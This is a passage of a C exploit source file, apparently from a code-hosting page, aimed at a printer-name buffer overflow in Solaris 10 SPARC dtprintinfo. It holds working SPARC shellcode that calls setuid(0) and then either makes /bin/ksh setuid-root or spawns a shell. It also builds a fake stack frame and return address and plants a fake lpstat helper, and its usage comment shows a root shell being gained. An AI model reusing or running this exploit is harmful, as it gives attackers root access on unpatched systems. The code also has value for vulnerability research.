     26 + * work on physical systems and I just spent a non-neglibible amount of time
     27 + * debugging this for no valid reason but my love of hacking... Oh well!
     28 + *
     29 + * Usage:
     30 + * $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
     31 + * [on your xserver: disable the access control]
     32 + * $ ./raptor_dtprintname_sparc3 10.0.0.122:0
     33 + * [...]
     34 + * $ ls -l /bin/ksh
     35 + * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
     36 + * $ /bin/ksh
     37 + * # id
     38 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
     39 + * #
     40 + *
     41 + * Tested on:
     42 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
     43 + */
     44 + 
     45 +#include <fcntl.h>
     46 +#include <link.h>
     47 +#include <procfs.h>
     48 +#include <stdio.h>
     49 +#include <stdlib.h>
     50 +#include <strings.h>
     51 +#include <unistd.h>
     52 +#include <sys/systeminfo.h>
     53 + 
     54 +#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
     55 +#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <[email protected]>"
     56 + 
     57 +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
     58 +#define BUFSIZE 301 // size of the printer name
     59 +#define FFSIZE 64 + 1 // size of the fake frame
     60 +#define DUMMY 0xdeadbeef // dummy memory address
     61 + 
     62 +//#define USE_EXEC_SC // uncomment to use exec shellcode
     63 + 
     64 +#ifdef USE_EXEC_SC
     65 + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
     66 + /* setuid(0) */
     67 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     68 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */
     69 + "\x91\xd0\x20\x08" /* ta 8 */
     70 + /* execve("/bin/ksh", argv, NULL) */
     71 + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
     72 + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
     73 + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
     74 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
     75 + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
     76 + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
     77 + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */
     78 + "\x91\xd0\x20\x08" /* ta 8 */
     79 + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
     80 + "\x41\x41\x41\x41" /* placeholder */
     81 + "/bin/ksh";
     82 +#else
     83 + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
     84 + /* setuid(0) */
     85 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     86 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */
     87 + "\x91\xd0\x20\x08" /* ta 8 */
     88 + /* chmod("/bin/ksh", 037777777777) */
     89 + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
     90 + "\x20\xbf\xff\xff" /* bn,a <sc - 4> */
     91 + "\x20\xbf\xff\xff" /* bn,a <sc> */
     92 + "\x7f\xff\xff\xff" /* call <sc + 4> */
     93 + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
     94 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
     95 + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */
     96 + "\x91\xd0\x20\x08" /* ta 8 */
     97 + /* exit(0) */
     98 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     99 + "\x82\x10\x20\x01" /* mov 1, %g1 */
     100 + "\x91\xd0\x20\x08" /* ta 8 */
     101 + "/bin/ksh";
     102 +#endif /* USE_EXEC_SC */
     103 + 
     104 +/* globals */
     105 +char *arg[2] = {"foo", NULL};
     106 +char *env[256];
     107 +int env_pos = 0, env_len = 0;
     108 + 
     109 +/* prototypes */
     110 +int add_env(char *string);
     111 +void check_zero(int addr, char *pattern);
     112 +int get_ff_addr(char *path, char **argv);
     113 +int search_ldso(char *sym);
     114 +int search_rwx_mem(void);
     115 +void set_val(char *buf, int pos, int val);
     116 + 
     117 +/*
     118 + * main()
     119 + */
     120 +int main(int argc, char **argv)
     121 +{
     122 + char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
     123 + char platform[256], release[256], display[256];
     124 + int i, ff_addr, sc_addr, ret_pos, fpt_pos;
     125 + 
     126 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
     127 + int ret = search_ldso("sprintf");
     128 + int rwx_mem = search_rwx_mem() + 24; /* stable address */
     129 + 
     130 + /* fake lpstat code */
     131 + if (!strcmp(argv[0], "lpstat")) {
     132 + 
     133 + /* check command line */
     134 + if (argc != 2)
     135 + exit(1);
     136 + 
     137 + /* get ret and fake frame addresses from environment */
     138 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
     139 + ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
     140 + 
     141 + /* prepare the evil printer name */
     142 + memset(buf, 'A', sizeof(buf));
     143 + buf[sizeof(buf) - 1] = 0x0;
     144 + 
     145 + /* fill with return and fake frame addresses */
     146 + for (i = 0; i < BUFSIZE; i += 4) {
     147 + /* apparently, we don't need to bruteforce */
     148 + set_val(buf, i, ret - 4);
     149 + set_val(buf, i += 4, ff_addr);
     150 + }
     151 + 
     152 + /* print the expected output and exit */
     153 + if(!strcmp(argv[1], "-v")) {
     154 + fprintf(stderr, "lpstat called with -v\n");
     155 + printf("device for %s: /dev/null\n", buf);
     156 + } else {
     157 + fprintf(stderr, "lpstat called with -d\n");
     158 + printf("system default destination: %s\n", buf);
     159 + }
     160 + exit(0);
     161 + }
     162 + 
     163 + /* helper program that prints argv[0] address, used by get_ff_addr() */
     164 + if (!strcmp(argv[0], "foo")) {
     165 + printf("0x%p\n", argv[0]);
     166 + exit(0);
     167 + }
     168 + 
     169 + /* print exploit information */
     170 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     171 + 
     172 + /* process command line */
     173 + if (argc != 2) {
     174 +#ifdef USE_EXEC_SC
     175 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     176 +#else
     177 + fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
     178 +#endif /* USE_EXEC_SC */
     179 + exit(1);
     180 + }
     181 + sprintf(display, "DISPLAY=%s", argv[1]);
     182 + 
     183 + /* prepare the fake frame */
     184 + bzero(ff, sizeof(ff));
     185 + for (i = 0; i < 64; i += 4) {
     186 + set_val(ff, i, DUMMY);
     187 + }
     188 + 
     189 + /* fill the envp, keeping padding */
     190 + sc_addr = add_env(ff);
     191 + add_env(sc);
     192 + ret_pos = env_pos;
     193 + add_env("RET=0x41414141"); /* placeholder */
     194 + fpt_pos = env_pos;
     195 + add_env("FPT=0x42424242"); /* placeholder */
     196 + add_env(display);
     197 + add_env("PATH=.:/usr/bin");
     198 + add_env("HOME=/tmp");
     199 + add_env(NULL);
     200 + 
     201 + /* calculate the needed addresses */
     202 + ff_addr = get_ff_addr(VULN, argv);
     203 + sc_addr += ff_addr;
     204 + 
     205 + /*
     206 + * populate saved %l registers
     207 + */
     208 + set_val(ff, i = 0, ff_addr + 56); /* %l0 */
     209 + set_val(ff, i += 4, ff_addr + 56); /* %l1 */
     210 + set_val(ff, i += 4, ff_addr + 56); /* %l2 */
     211 + set_val(ff, i += 4, ff_addr + 56); /* %l3 */
     212 + set_val(ff, i += 4, ff_addr + 56); /* %l4 */
     213 + set_val(ff, i += 4, ff_addr + 56); /* %l5 */
     214 + set_val(ff, i += 4, ff_addr + 56); /* %l6 */
     215 + set_val(ff, i += 4, ff_addr + 56); /* %l7 */
     216 + 
     217 + /*
     218 + * populate saved %i registers
     219 + */
     220 + set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */
     221 + set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */
     222 + set_val(ff, i += 4, ff_addr + 56); /* %i2 */
     223 + set_val(ff, i += 4, ff_addr + 56); /* %i3 */
     224 + set_val(ff, i += 4, ff_addr + 56); /* %i4 */
     225 + set_val(ff, i += 4, ff_addr + 56); /* %i5 */
     226 + set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */
     227 + set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
     228 + 
     229 +#ifdef USE_EXEC_SC
     230 + set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */
     231 +#endif /* USE_EXEC_SC */
     232 + 
     233 + /* overwrite RET and FPT env vars with the correct addresses */
     234 + sprintf(ret_var, "RET=0x%x", ret);
     235 + env[ret_pos] = ret_var;
     236 + sprintf(fpt_var, "FPT=0x%x", ff_addr);
     237 + env[fpt_pos] = fpt_var;
     238 + 
     239 + /* create a symlink for the fake lpstat */
     240 + unlink("lpstat");
     241 + symlink(argv[0], "lpstat");
     242 + 
     243 + /* print some output */
     244 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     245 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     246 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     247 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     248 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
     249 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
     250 + fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
     251 + fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
     252 + 
     253 + /* check for null bytes (add some padding to env if needed) */
     254 + check_zero(ff_addr, "ff address");
     255 + check_zero(sc_addr, "sc address");
     256 + 
     257 + /* run the vulnerable program */
     258 + execve(VULN, arg, env);
     259 + perror("execve");
     260 + exit(1);
     261 +}
     262 + 
     263 +/*
     264 + * add_env(): add a variable to envp and pad if needed
     265 + */
     266 +int add_env(char *string)
     267 +{
     268 + int i;
     269 + 
     270 + /* null termination */
     271 + if (!string) {
     272 + env[env_pos] = NULL;
     273 + return env_len;
     274 + }
     275 + 
     276 + /* add the variable to envp */
     277 + env[env_pos] = string;
     278 + env_len += strlen(string) + 1;
     279 + env_pos++;
     280 + 
     281 + /* pad the envp using zeroes */
     282 + if ((strlen(string) + 1) % 4)
     283 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     284 + env[env_pos] = string + strlen(string);
     285 + env_len++;
     286 + }
     287 + 
     288 + return env_len;
     289 +}
     290 + 
     291 +/*
     292 + * check_zero(): check an address for the presence of a 0x00
     293 + */
     294 +void check_zero(int addr, char *pattern)
     295 +{
     296 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     297 + !(addr & 0xff000000)) {
     298 + fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
     299 + exit(1);
     300 + }
     301 +}
     302 + 
     303 +/*
     304 + * get_ff_addr(): get fake frame address using a helper program
     305 + */
     306 +int get_ff_addr(char *path, char **argv)
     307 +{
     308 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
     309 + char hex[11] = "\x00";
     310 + int fd[2], addr;
     311 + 
     312 + /* truncate program name at correct length and create a hard link */
     313 + prog[strlen(path)] = 0x0;
     314 + unlink(prog);
     315 + link(argv[0], prog);
     316 + 
     317 + /* open pipe to read program output */
     318 + if (pipe(fd) < 0) {
     319 + perror("pipe");
     320 + exit(1);
     321 + }
     322 + 
     323 + switch(fork()) {
     324 + 
     325 + case -1: /* cannot fork */
     326 + perror("fork");
     327 + exit(1);
     328 + 
     329 + case 0: /* child */
     330 + dup2(fd[1], 1);
     331 + close(fd[0]);
     332 + close(fd[1]);
     333 + execve(prog, arg, env);
     334 + perror("execve");
     335 + exit(1);
     336 + 
     337 + default: /* parent */
     338 + close(fd[1]);
     339 + read(fd[0], hex, sizeof(hex));
     340 + break;
     341 + }
     342 + 
     343 + /* check and return address */
     344 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
     345 + fprintf(stderr, "error: cannot read ff address from helper program\n");
     346 + exit(1);
     347 + }
     348 + return addr + 4;
     349 +}
     350 + 
     351 +/*
     352 + * search_ldso(): search for a symbol inside ld.so.1
     353 + */
     354 +int search_ldso(char *sym)
     355 +{
     356 + int addr;
     357 + void *handle;
     358 + Link_map *lm;
     359 + 
     360 + /* open the executable object file */
     361 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
     362 + perror("dlopen");
     363 + exit(1);
     364 + }
     365 + 
     366 + /* get dynamic load information */
     367 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
     368 + perror("dlinfo");
     369 + exit(1);
     370 + }
     371 + 
     372 + /* search for the address of the symbol */
     373 + if ((addr = (int)dlsym(handle, sym)) == NULL) {
     374 + fprintf(stderr, "error: sorry, function %s() not found\n", sym);
     375 + exit(1);
     376 + }
     377 + 
     378 + /* close the executable object file */
     379 + dlclose(handle);
     380 + 
     381 + check_zero(addr - 4, sym);
     382 + return addr;
     383 +}
     384 + 
     385 +/*
     386 + * search_rwx_mem(): search for an RWX memory segment valid for all
     387 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     388 + */
     389 +int search_rwx_mem(void)
     390 +{
     391 + int fd;
     392 + char tmp[16];
     393 + prmap_t map;
     394 + int addr = 0, addr_old;
     395 + 
     396 + /* open the proc filesystem */
     397 + sprintf(tmp,"/proc/%d/map", (int)getpid());
     398 + if ((fd = open(tmp, O_RDONLY)) < 0) {
     399 + fprintf(stderr, "error: can't open %s\n", tmp);
     400 + exit(1);
     401 + }
     402 + 
     403 + /* search for the last RWX memory segment before stack (last - 1) */
     404 + while (read(fd, &map, sizeof(map)))
     405 + if (map.pr_vaddr)
     406 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
     407 + addr_old = addr;
     408 + addr = map.pr_vaddr;
     409 + }
     410 + close(fd);
     411 + 
     412 + /* add 4 to the exact address null bytes */
     413 + if (!(addr_old & 0xff))
     414 + addr_old |= 0x04;
     415 + if (!(addr_old & 0xff00))
     416 + addr_old |= 0x0400;
     417 + 
     418 + return addr_old;
     419 +}
     420 + 
     421 +/*
     422 + * set_val(): copy a dword inside a buffer
     423 + */
     424 +void set_val(char *buf, int pos, int val)
     425 +{
     426 + buf[pos] = (val & 0xff000000) >> 24;
     427 + buf[pos + 1] = (val & 0x00ff0000) >> 16;
     428 + buf[pos + 2] = (val & 0x0000ff00) >> 8;
     429 + buf[pos + 3] = (val & 0x000000ff);
     430 +}
     431 + 
Please wait...
Page is in error, reload to recover